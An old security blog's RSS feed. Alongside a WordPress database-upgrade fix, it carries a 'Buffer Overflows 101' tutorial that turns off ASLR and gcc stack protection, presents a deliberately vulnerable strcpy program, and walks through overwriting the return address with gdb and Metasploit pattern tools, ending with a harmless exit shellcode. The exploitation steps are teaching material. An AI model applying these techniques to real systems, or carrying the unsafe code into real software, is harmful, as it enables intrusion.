<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>devBLOG!</title>
	<atom:link href="http://dev.cubedsecurity.co.uk/blog/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://dev.cubedsecurity.co.uk/blog</link>
	<description>Just tech'e stuff...well mainly :P</description>
	<lastBuildDate>Mon, 02 Mar 2009 07:06:58 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Long time no see!?! (and a little bit of wordpress woe)</title>
		<link>http://dev.cubedsecurity.co.uk/blog/?p=14</link>
		<comments>http://dev.cubedsecurity.co.uk/blog/?p=14#comments</comments>
		<pubDate>Sun, 01 Mar 2009 20:58:02 +0000</pubDate>
		<dc:creator>Tim</dc:creator>
				<category><![CDATA[chat]]></category>

		<guid isPermaLink="false">http://dev.cubedsecurity.co.uk/blog/?p=14</guid>
		<description><![CDATA[So its been nearly an entire year since I&#8217;ve posted last&#8230;.AND the site has been down for roughly six months of that! But I&#8217;ve got some bits I wanted to share &#8211; so I&#8217;ve brought back the site.
I&#8217;ve recently bought a Sony Gigajuke stereo &#8211; which after some investigation, runs Linux and I&#8217;ve finally managed ]]></description>
			<content:encoded><![CDATA[<p>So its been nearly an entire year since I&#8217;ve posted last&#8230;.AND the site has been down for roughly six months of that! But I&#8217;ve got some bits I wanted to share &#8211; so I&#8217;ve brought back the site.</p>
<p>I&#8217;ve recently bought a Sony Gigajuke stereo &#8211; which after some investigation, runs Linux and I&#8217;ve finally managed (took me most of Friday night! &#8211; sad uh? <img src='http://dev.cubedsecurity.co.uk/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  to get r00t on! and not just over some serial interface &#8211; I&#8217;ve got full remote SSH access to my stereo! I plan on writting that up incase anyone else fancys giving it a go. I&#8217;m not sure if anyone out there is playing with the same bit of kit but I couldn&#8217;t find any pages?! &#8211; let me know if you are!</p>
<p>And finally &#8211; while bring my wordpress blog back to life (from an old tgz), I thouht I&#8217;d upgrade to the latest shinny version. Last time I upgraded it was compleatly painless &#8211; this time (upgrading to 2.7.1) wasn&#8217;t as easy and I couldn&#8217;t find the answer out on the net &#8211; so here&#8217;s the solution to the problem I was having.</p>
<p>I was seeing this in my apache error.log:</p>
<pre>WordPress database error Duplicate entry '0' for key 1 for query INSERT INTO wp_posts  .....</pre>
<p>And I couldn&#8217;t make any posts etc.</p>
<p>So I started having a look around the database; it seems the upgrade script has forgotten to add auto_increament to a bunch of fields in the database &#8211; so when new rows are added their id fields are colliding. The fix is nice and easy &#8211; add auto_increament to a bunch of fields:</p>
<pre>mysql -u &lt;your db username&gt; -p &lt;your db name&gt;
#enter your password

ALTER table wp_posts modify column ID bigint(20) unsigned auto_increment;
ALTER table wp_comments modify column comment_ID bigint(20) unsigned auto_increment;
ALTER table wp_links modify column link_id bigint(20) auto_increment;
ALTER table wp_users modify column ID bigint(20) unsigned auto_increment;
ALTER table wp_usermeta modify column umeta_id bigint(20) auto_increment;
ALTER table wp_postmeta modify column meta_id bigint(20) auto_increment;</pre>
<p>Assuming your table prefix is the default (wp) then that should work and now you should beable to post again! I&#8217;ve quite possibly missed some other fields that need updating &#8211; but it works for me! But then again I don&#8217;t really use all the wordpress features.</p>
<p>Hope its helps anyway.</p>
]]></content:encoded>
			<wfw:commentRss>http://dev.cubedsecurity.co.uk/blog/?feed=rss2&amp;p=14</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>More stuff to come&#8230;</title>
		<link>http://dev.cubedsecurity.co.uk/blog/?p=10</link>
		<comments>http://dev.cubedsecurity.co.uk/blog/?p=10#comments</comments>
		<pubDate>Thu, 08 May 2008 21:08:03 +0000</pubDate>
		<dc:creator>Tim</dc:creator>
				<category><![CDATA[chat]]></category>

		<guid isPermaLink="false">http://dev.cubedsecurity.co.uk/blog/?p=10</guid>
		<description><![CDATA[Hi everyone, thanks to all those who have posted comments on my &#8220;articles&#8221;, hope you all found them of some use. I&#8217;ve got a couple of new ones written up, but haven&#8217;t got around to putting them up here yet, just been really busy recently. I&#8217;ve got a OSX (leopard) BOF guide (quite simlair to ]]></description>
			<content:encoded><![CDATA[<p>Hi everyone, thanks to all those who have posted comments on my &#8220;articles&#8221;, hope you all found them of some use. I&#8217;ve got a couple of new ones written up, but haven&#8217;t got around to putting them up here yet, just been really busy recently. I&#8217;ve got a OSX (leopard) BOF guide (quite simlair to the linux one), a &#8220;real&#8221; life win32 guide (quite a old vulnerabilty, but a nice simple example) and some sysadmin&#8217;ish stuff, setting up LDAP auth on Linux (server and client) etc.</p>
<p>If anyone would like anything particular let you know and I&#8217;ll do my best.</p>
]]></content:encoded>
			<wfw:commentRss>http://dev.cubedsecurity.co.uk/blog/?feed=rss2&amp;p=10</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Analysis of the two recent Linux 2.6 local exploits (vmsplice)</title>
		<link>http://dev.cubedsecurity.co.uk/blog/?p=8</link>
		<comments>http://dev.cubedsecurity.co.uk/blog/?p=8#comments</comments>
		<pubDate>Mon, 11 Feb 2008 20:58:58 +0000</pubDate>
		<dc:creator>Tim</dc:creator>
				<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://dev.cubedsecurity.co.uk/blog/?p=8</guid>
		<description><![CDATA[I started writting a summary of the two recent Linux 2.6 locals but then found Daniel Drake weblog &#8211; he&#8217;s done an excellent job of pulling all the relevant bits together!
Good stuff.
]]></description>
			<content:encoded><![CDATA[<p>I started writting a summary of the two recent Linux 2.6 locals but then found <a href=http://www.reactivated.net/weblog/archives/2008/02/critical-linux-kernel-vmsplice-security-issues/>Daniel Drake weblog</a> &#8211; he&#8217;s done an excellent job of pulling all the relevant bits together!</p>
<p>Good stuff.</p>
]]></content:encoded>
			<wfw:commentRss>http://dev.cubedsecurity.co.uk/blog/?feed=rss2&amp;p=8</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Buffer Overflows 101</title>
		<link>http://dev.cubedsecurity.co.uk/blog/?p=7</link>
		<comments>http://dev.cubedsecurity.co.uk/blog/?p=7#comments</comments>
		<pubDate>Sun, 03 Feb 2008 20:10:36 +0000</pubDate>
		<dc:creator>Tim</dc:creator>
				<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://dev.cubedsecurity.co.uk/blog/?p=7</guid>
		<description><![CDATA[So I thought I&#8217;d knock together a Buffer Overflow 101 tutorial, everyone has to start somewhere so I though I&#8217;d give some guys a leg up. Although this tutorial is &#8216;realistic&#8217; we&#8217;re  going to have to turn off some of the new features (if you&#8217;re running a new&#8217;ish version of Linux) in the kernel ]]></description>
			<content:encoded><![CDATA[<p>So I thought I&#8217;d knock together a Buffer Overflow 101 tutorial, everyone has to start somewhere so I though I&#8217;d give some guys a leg up. Although this tutorial is &#8216;realistic&#8217; we&#8217;re  going to have to turn off some of the new features (if you&#8217;re running a new&#8217;ish version of Linux) in the kernel and gcc to make things easier. Once you&#8217;ve got the basics mastered we can start turning them back on and see how you can get around them!</p>
<p>Before I kick off, I assume a reasonable amount of knowledge, this isn&#8217;t the sort of thing my mum is going to be able to do; basic C/Linux/Assembler (Intel) and computing fundamentals (stacks etc.).</p>
<p><strong><u>Things to turn off to make this easier&#8230;.</u></strong></p>
<p><strong>WTF is randomize_va_space?</strong></p>
<p>Most new (ish) Linux distributions ship with &#8220;randomize_va_space&#8221; enabled, this means the kernel loads all the dynamically linked libraries in random positions within the processes memory! This make buffer overflows very hard &#8211; we&#8217;ll get to why later!</p>
<pre>
tim@blue:~/devel/buffer_overflows_101$ cat /proc/sys/kernel/randomize_va_space
1

as you can see - on my Ubuntu (gutsy) box it's enabled, to disable it simply:

tim@blue:~$ sudo /bin/sh -c 'echo 0 &gt; /proc/sys/kernel/randomize_va_space'
tim@blue:~$ cat /proc/sys/kernel/randomize_va_space
0</pre>
<p><strong>WTF are gcc stack canaries?</strong></p>
<p>gcc has had stack smashing protection since sometime back in 1997 &#8211; but hasn&#8217;t been that widely used until recently. So once again &#8211; gcc will commonly default to using some form of stack protection now days. So make sure you&#8217;re not compiling with SSP (Stack Smashing Protection) etc. Canaries are expendable variables that live at the end of buffers &#8211; by testing the value of this memory location the application can tell if the buffer has been overflowed. For canaries to be affective they mustn&#8217;t be predictable. So disable gcc&#8217;s stack protection make sure you remember to use the &#8220;-Wno-stack-protector -fno-stack-protector&#8221; flags.</p>
<p><strong><u>So what is a Buffer Overflow?</u></strong></p>
<p>A buffer overflow occurs simply when too much data is copied into an insufficient buffer. The actual reason we get execution is because after execution of the vulnerable function completes it pulls the return address off the stack and puts its in EIP (this is the way execution continues in the calling function) and during the overflow it&#8217;s can be possible to over write that return address with the address of our shellcode.</p>
<p>This is one of the reasons the randomize_va_space makes exploitation difficult &#8211; the address of the stack isn&#8217;t predictable &#8211; so we don&#8217;t know what to over write the return address with.<br />
<strong><u>So lets get to it&#8230;.</u></strong></p>
<p>So we need a simple vulnerable app to play with (vuln.c)&#8230;</p>
<pre>
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;

void foo(char *in) {
        char tmp[256];
        strcpy(tmp,in);
        printf("argument was: %s\n",tmp);
        return;
}

int main(int argc,char **argv) {
        if(argc&lt;2) {
                printf("%s <argument>\n",argv[0]);
                return 0;
        }
        printf("before call\n");
        foo(argv[1]);
        printf("after call\n");
        return 0;
}
</argument></pre>
<p>So hopefully everyone has noticed how this app is exploitable&#8230;.we copy the first argument (from the command line) into a 256 byte buffer without checking how long it is!! So we should be able to over write the RET address and gain execution.</p>
<p>So lets just check we can break the application&#8230;.</p>
<pre>
tim@blue:~/devel/buffer_overflows_101$ gcc -Wall vuln.c -o vuln
tim@blue:~/devel/buffer_overflows_101$ ./vuln f00
before call
argument was: f00
after call
tim@blue:~/devel/buffer_overflows_101$ ./vuln `perl -e 'print "A" x 300'`
before call
argument was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: ./vuln terminated
Aborted (core dumped)
tim@blue:~/devel/buffer_overflows_101$ gcc -Wall -Wno-stack-protector -fno-stack-protector vuln.c -o vuln
tim@blue:~/devel/buffer_overflows_101$ ./vuln `perl -e 'print "A" x 300'`
before call
argument was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
tim@blue:~/devel/buffer_overflows_101$ ls
vuln  vuln.c
tim@blue:~/devel/buffer_overflows_101$</pre>
<p>As you can see I forgot to build the code with the flags to stop gcc adding its stack protection; the application would have been terminated before we would have gained execution. But once I compiled it correctly&#8230;</p>
<p>We didn&#8217;t get a core file because my default ulimits aren&#8217;t high enough &#8211; so we better fix that&#8230;</p>
<pre>
tim@blue:~/devel/buffer_overflows_101$ ulimit -c unlimited
tim@blue:~/devel/buffer_overflows_101$ ./vuln `perl -e 'print "A" x 300'`
before call
argument was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
tim@blue:~/devel/buffer_overflows_101$ ls
core  vuln  vuln.c
tim@blue:~/devel/buffer_overflows_101$</pre>
<p>So lets see if we had control of EIP!</p>
<pre>
tim@blue:~/devel/buffer_overflows_101$ gdb ./vuln ./core
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/tls/i686/cmov/libc.so.6...done.
Loaded symbols for /lib/tls/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) info reg
eax            0x13b    315
ecx            0x0      0
edx            0xb7fd40d0       -1208139568
ebx            0xb7fd2ff4       -1208143884
esp            0xbffff960       0xbffff960
ebp            0x41414141       0x41414141
esi            0xb8000ce0       -1207956256
edi            0x0      0
eip            0x41414141       0x41414141
eflags         0x210286 [ PF SF IF RF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) quit
tim@blue:~/devel/buffer_overflows_101$</pre>
<p>Very nice! As you can see from the above &#8216;info reg&#8217; EIP (the instruction pointer &#8211; points to the next instruction in memory) is pointing at 0&#215;41414141 &#8211; which comes from &#8216;AAAA&#8217;!! But what &#8216;A&#8217; do you think is it? We did send 300 after all? We could add some &#8216;B&#8217;s etc and find it that way, but there is a much easier method &#8211; thanks to the guys at the Metasploit project. If you download Metasploit framework 3 at http://framework.metasploit.com/msf/downloader/?id=framework-3.1.tar.gz, I&#8217;m using 3.1 Release. You&#8217;re need ruby (and libopenssl-rub) btw &#8211; so get that installed too (apt-get install ruby libopenssl-ruby for the debian/ubuntu d00ds).</p>
<p>There&#8217;s a script which will create a non repeating sequence of printable characters, so we can throw that into our buffer and then use another script to tell us which byte lands in EIP (or any other location we&#8217;re interested in). Remember to delete the old core btw &#8211; the kernel will not overwrite the existing core dump.</p>
<pre>
tim@blue:~/devel/buffer_overflows_101$ rm core
tim@blue:~/devel/buffer_overflows_101$ ./vuln `./framework-3.1/tools/pattern_create.rb 300`
before call
argument was: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
Segmentation fault (core dumped)
tim@blue:~/devel/buffer_overflows_101$ gdb ./vuln ./core
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/tls/i686/cmov/libc.so.6...done.
Loaded symbols for /lib/tls/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./vuln Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3'.
Program terminated with signal 11, Segmentation fault.
#0  0x37694136 in ?? ()
(gdb) quit
tim@blue:~/devel/buffer_overflows_101$ ./framework-3.1/tools/pattern_offset.rb 0x37694136 300
260
tim@blue:~/devel/buffer_overflows_101$</pre>
<p>Easy uh? EIP starts on the 260&#8242;th byte! So lets fill EIP with &#8216;B&#8217;s&#8230;..</p>
<pre>
tim@blue:~/devel/buffer_overflows_101$ ./vuln `perl -e 'print "A"x260 . "B"x4'`
before call
argument was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Segmentation fault (core dumped)
tim@blue:~/devel/buffer_overflows_101$ gdb ./vuln ./core
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/tls/i686/cmov/libc.so.6...done.
Loaded symbols for /lib/tls/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) quit
tim@blue:~/devel/buffer_overflows_101$</pre>
<p>So we now have complete control of EIP! So we know need to be able to do something with it. So if we&#8217;re going to inject some shellcode &#8211; we need to know where its going to start, so we can set EIP to the start of the eggcode. So lets find the start of the buffer (looking around ESP is always a good place to start with stack overflows)&#8230;.</p>
<pre>
tim@blue:~/devel/buffer_overflows_101$ gdb ./vuln ./core
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/tls/i686/cmov/libc.so.6...done.
Loaded symbols for /lib/tls/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) x/10 $esp-20
0xbffff97c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff98c:     0x42424242      0xbffffb00      0x08049670      0xbffff9b8
0xbffff99c:     0xbffff9c0      0xb7ff3800
(gdb) # so there's the end of the buffer (including the 'B's) so lets look further up
(gdb) x/100 $esp-270
0xbffff882:     0xf8880804      0x4141bfff      0x41414141      0x41414141
0xbffff892:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff8a2:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff8b2:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff8c2:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff8d2:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff8e2:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff8f2:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff902:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff912:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff922:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff932:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff942:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff952:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff962:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff972:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff982:     0x41414141      0x41414141      0x42424141      0xfb004242
0xbffff992:     0x9670bfff      0xf9b80804      0xf9c0bfff      0x3800bfff
0xbffff9a2:     0xf9c0b7ff      0xfa18bfff      0x3050bfff      0x0ce0b7ea
0xbffff9b2:     0x84a0b800      0xfa180804      0x3050bfff      0x0002b7ea
0xbffff9c2:     0xfa440000      0xfa50bfff      0x1820bfff      0x0000b800
0xbffff9d2:     0x00010000      0x00010000      0x00000000      0x2ff40000
0xbffff9e2:     0x0ce0b7fd      0x0000b800      0xfa180000      0x8081bfff
0xbffff9f2:     0x2a91ebf3      0x0000c060      0x00000000      0x00000000
0xbffffa02:     0x86600000      0x2f7db7ff      0x0ff4b7ea      0x0002b800
(gdb) x/1 $esp-264
0xbffff888:     0x41414141
(gdb) quit
tim@blue:~/devel/buffer_overflows_101$</pre>
<p>So we know to set EIP to 0xbffff888 &#8211; but we need some code to do something rather than just &#8216;A&#8217;s! Note the bytes that land of EIP just be in reverse byte order, as I&#8217;m working on a Intel machine.</p>
<pre>
tim@blue:~/devel/buffer_overflows_101$ rm core &amp;&amp; ./vuln `perl -e 'print "A"x260 . "\x88\xf8\xff\xbf"'`
before call
argument was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAï¿½
Segmentation fault (core dumped)
tim@blue:~/devel/buffer_overflows_101$ gdb ./vuln ./core
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/tls/i686/cmov/libc.so.6...done.
Loaded symbols for /lib/tls/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0xbffff888 in ?? ()
(gdb) quit
tim@blue:~/devel/buffer_overflows_101$</pre>
<p>Cool, now lets write some shellcode! OK just a simple one to start with; we&#8217;re call exit() with a given status code so we can prove the shellcode has executed. Our vuln app can only return a status of 0 (see the code)</p>
<pre>
tim@blue:~/devel/buffer_overflows_101$ ./vuln d00d
before call
argument was: d00d
after call
tim@blue:~/devel/buffer_overflows_101$ echo $?
0
tim@blue:~/devel/buffer_overflows_101$</pre>
<p>The easiest way to write shellcode is to write what you want to do in C and take the machine code out of it&#8230;</p>
<pre>
tim@blue:~/devel/buffer_overflows_101$ cat exitCode.c
#include <unistd.h>
int main(void) {
        _exit(123);
}
tim@blue:~/devel/buffer_overflows_101$ gcc -Wall exitCode.c -o exitCode -static
tim@blue:~/devel/buffer_overflows_101$ ./exitCode
tim@blue:~/devel/buffer_overflows_101$ echo $?
123
tim@blue:~/devel/buffer_overflows_101$
</unistd.h></pre>
<p>Note I&#8217;ve statically compiled the code &#8211; I&#8217;d like all the code inside this one executable rather then jumping into shared libraries. Now lets try to turn this into shellcode&#8230;</p>
<pre>
tim@blue:~/devel/buffer_overflows_101$ gdb ./exitCode
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
...
(gdb) disas main
Dump of assembler code for function main:
0x08048208 <main+0>:    lea    0x4(%esp),%ecx
0x0804820c <main+4>:    and    $0xfffffff0,%esp
0x0804820f <main+7>:    pushl  0xfffffffc(%ecx)
0x08048212 <main+10>:   push   %ebp
0x08048213 <main+11>:   mov    %esp,%ebp
0x08048215 <main+13>:   push   %ecx
0x08048216 <main+14>:   sub    $0x4,%esp
0x08048219 <main+17>:   movl   $0x7b,(%esp)
0x08048220 <main+24>:   call   0x804dffc &lt;_exit&gt;
End of assembler dump.
(gdb) disas _exit
Dump of assembler code for function _exit:
0x0804dffc &lt;_exit+0&gt;:   mov    0x4(%esp),%ebx
0x0804e000 &lt;_exit+4&gt;:   mov    $0xfc,%eax
0x0804e005 &lt;_exit+9&gt;:   int    $0x80
0x0804e007 &lt;_exit+11&gt;:  mov    $0x1,%eax
0x0804e00c &lt;_exit+16&gt;:  int    $0x80
0x0804e00e &lt;_exit+18&gt;:  hlt
End of assembler dump.
(gdb)
</main+24></main+17></main+14></main+13></main+11></main+10></main+7></main+4></main+0></pre>
<p>So if you know anything about Linux syscalls you can see we&#8217;re making two syscalls here. We&#8217;re calling syscall 0xfc and 0&#215;01 with our passed argument. If you look in /usr/include/asm-i386/unistd.h you can see our syscalls</p>
<pre>
tim@blue:~/devel/buffer_overflows_101$ egrep \ 1$\|252 /usr/include/asm-i386/unistd.h
#define __NR_exit                 1
#define __NR_exit_group         252</pre>
<p>We&#8217;re not really interested in exit_group &#8211; so we won&#8217;t bother with that. You can also see the argument is passed into the kernel on ebx, so we need something like:</p>
<pre>
mov $0x7B,%ebx
mov $0x01,%eax
int $0x80</pre>
<p>Using the output of `objdump -d exitCode` can make things easier&#8230;</p>
<pre>
0804dffc &lt;_exit&gt;:
 804dffc:       8b 5c 24 04             mov    0x4(%esp),%ebx
 804e000:       b8 fc 00 00 00          mov    $0xfc,%eax
 804e005:       cd 80                   int    $0x80
 804e007:       b8 01 00 00 00          mov    $0x1,%eax
 804e00c:       cd 80                   int    $0x80
 804e00e:       f4                      hlt
 804e00f:       90                      nop

tim@blue:~/devel/buffer_overflows_101/shell/exit$ cat exit.asm
SEGMENT.text
        mov eax, 1
        mov ebx, 123
        int 80h

tim@blue:~/devel/buffer_overflows_101/shell/exit$ nasm -felf exit.asm
tim@blue:~/devel/buffer_overflows_101/shell/exit$ gcc exit.o -o exit -nostartfiles -nostdlib
/usr/bin/ld: warning: cannot find entry symbol _start; defaulting to 0000000008048060
tim@blue:~/devel/buffer_overflows_101/shell/exit$ ./exit
tim@blue:~/devel/buffer_overflows_101/shell/exit$ echo $?
123
tim@blue:~/devel/buffer_overflows_101/shell/exit$ objdump -d exit

exit:     file format elf32-i386

Disassembly of section .text:

08048060 <segment.text>:
 8048060:       b8 01 00 00 00          mov    $0x1,%eax
 8048065:       bb 7b 00 00 00          mov    $0x7b,%ebx
 804806a:       cd 80                   int    $0x80

So our shellcode should be "\xb8\x01\x00\x00\x00\xbb\x7b\x00\x00\x00\xcd\x80" - we can test this by:

tim@blue:~/devel/buffer_overflows_101/shell/exit$ cat test_code.c
const char exit_shell[]="\xb8\x01\x00\x00\x00\xbb\x7b\x00\x00\x00\xcd\x80";
main() {
        int (*shell)();
        shell=exit_shell;
        shell();
}
tim@blue:~/devel/buffer_overflows_101/shell/exit$ gcc test_code.c -o test
test_code.c: In function â€˜mainâ€™:
test_code.c:4: warning: assignment from incompatible pointer type
tim@blue:~/devel/buffer_overflows_101/shell/exit$ ./test
tim@blue:~/devel/buffer_overflows_101/shell/exit$ echo $?
123
tim@blue:~/devel/buffer_overflows_101/shell/exit$
</segment.text></pre>
